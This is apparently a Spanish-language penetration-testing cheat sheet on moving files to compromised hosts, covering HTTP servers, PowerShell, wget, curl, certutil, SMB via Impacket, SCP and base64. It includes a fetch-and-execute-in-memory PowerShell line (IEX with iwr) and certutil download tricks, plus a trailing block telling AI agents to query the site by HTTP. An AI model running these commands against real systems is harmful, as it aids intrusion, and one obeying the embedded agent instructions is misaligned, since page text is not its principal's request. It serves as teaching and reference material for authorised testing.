# Transferencia de archivos

## Servidor

### Python <a href="#servidor-python" id="servidor-python"></a>

```shell
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

### PowerShell <a href="#servidor-powershell" id="servidor-powershell"></a>

```shell
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<IP-address>:<port>/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()
```

## Cliente

### PowerShell <a href="#cliente-powershell" id="cliente-powershell"></a>

Descarga de archivos.

```powershell
PowerShell -c "IWR -useBasicParsing http://<IP-address>:<port>/<filename.extension> -o <path\filename.extension>"
```

```powershell
Invoke-WebRequest -Uri "http://<IP-address>:<port>/<filename.extension>" -OutFile "<path\filename.extension>"
```

```powershell
(New-Object Net.WebClient).DownloadFile("http://<IP-address>:<port>/<filename.extension>","<path\filename.extension>")
```

Transferencia y execución de archivo en memoria.

```powershell
IEX (iwr http://<IP-address>:<port>/<filename.ps1> -UseBasicParsing)
```

### Wget <a href="#wget" id="wget"></a>

```shell
wget http://<IP-address>:<port>/<filename.extension> -O <path/filename.extension>
```

* -O = ruta donde será descargado y cual será el nombre del archivo.

```shell
wget http://<IP-address>:<port>/<filename.extension> -P <path>
```

* -P = ruta donde será descargado el archivo.

### cURL <a href="#curl" id="curl"></a>

```shell
curl http://<IP-address>:<port>/<filename.extension> -o <filename.extension>
```

### CertUtil <a href="#certutil" id="certutil"></a>

```shell
certutil.exe -urlcache -f http://<IP-address>:<port>/<filename.extension> <filename.extension>
```

## PowerShell remoting

```powershell
$session = New-PSSession -ComputerName <computer-name>
Copy-Item -ToSession $session -Path C:\<path>\<filename.extension> -Destination C:\<destination-directory>
Enter-PSSession -Session $session
ls C:\<destination-directory>
```

## SMB

### Impacket

```shell
# Servidor (Linux)
# opción 1
mkdir /tmp/smb-temp && cd /tmp/smb-temp
python /impacket/examples/smbserver.py share . -smb2support -username <username> -password <password>
# opción 2
python /impacket/examples/smbserver.py share $(pwd)
impacket-smbserver share $(pwd)

# Cliente (Windows)
net use \\<IP-address>\share /USER:<username> <password>
copy \\<IP-address>\share\<file> %TEMP%\<file>
dir %TEMP%
net use \\<IP-address>\share /del
```

## SCP (secure copy)

Subir archivo local a remoto.

```shell
scp <file> <user>@<IP-address>:<destination-directory>
```

Descargar archivo remoto a local.

```shell
scp <user>@<IP-address>:<file> <destination-directory>
```

## Base64

```shell
# Máquina origen
base64 -w 0 <file> | xclip -sel clip
# Máquina destino
echo "<Ctrl+V>" | base64 -d > <file>
```

## Validación de integridad de archivo

### Linux/Unix <a href="#validacion-de-integridad-de-archivo-linux-unix" id="validacion-de-integridad-de-archivo-linux-unix"></a>

```shell
# MD5
md5sum <file>
# SHA1
sha1sum <file>
```

### Windows <a href="#validacion-de-integridad-de-archivo-windows" id="validacion-de-integridad-de-archivo-windows"></a>

```shell
# MD5
certutil.exe -hashfile <file> MD5
# SHA1
certutil.exe -hashfile <file>

# PowerShell
## MD5
Get-FileHash <file> -Algorithm MD5 | Format-List
## SHA1
Get-FileHash <file> -Algorithm SHA1 | Format-List
## SHA256
Get-FileHash <file> | Format-List
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/transferencia-de-archivos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
